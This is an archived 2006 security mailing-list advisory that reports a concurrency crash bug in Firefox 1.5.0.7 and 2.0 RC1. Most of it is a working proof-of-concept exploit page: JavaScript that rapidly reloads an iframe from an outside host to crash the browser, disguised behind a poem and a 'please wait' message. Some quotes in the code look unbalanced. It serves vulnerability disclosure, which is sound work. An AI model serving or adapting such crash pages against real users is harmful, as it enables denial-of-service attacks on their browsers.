

[EXPL] Firefox Concurrency-Related Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-10/msg00019.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 5 Oct 2006 15:38:35 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Firefox Concurrency-Related Vulnerabilities

SUMMARY

A vulnerability in Firefox allows remote attackers to cause the browser to crash by exploiting a concurrency issue in the way the browser handles simulations requests.

DETAILS

Vulnerable Systems:

- * Firefox version 1.5.0.7
- * Firefox version 2.0 RC1

Exploit:

```
<html>
<body bgcolor=black text=white onload="javascript:foo()">
<script>
<!--
counter = 0;

function foo() {
if (counter < 50) {
```

[EXPL] Firefox Concurrency-Related Vulnerabilities

```
document.getElementById('foo').src =
"http://lcamtuf.coredump.cx/ffoxdie3_i.html?+Math.random();
setTimeout('foo()',10 * counter);
counter++;
} else {
document.getElementById('foo').src =
"http://lcamtuf.coredump.cx/ffoxdie3_ok.html;
}
}
// -->
</script>

<font face="tahoma, helvetica, arial">
<font color=lightblue>
Tyger, Tyger, burning bright<br>
In the forests of the night.<br>
What immortal hand or eye<br>
Could frame thy fearful symmetry?
</font>
<p>
<b>Please wait approx. 20 seconds...</b>
<br>
<iframe id=foo>
</iframe>
<p>
<font color=gray>
Javascript is required.<br>
Firefox is required.<br>
May fail on a spotty link.<br>
Common sense is advised.<br>
<p>
More photos: <a href=/photo/current/>click here</a>
</font>
</font>
</body>
</html>
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:lcamtuf@xxxxxxxxxxxx> Michal Zalewski.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

[EXPL] Firefox Concurrency-Related Vulnerabilities

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.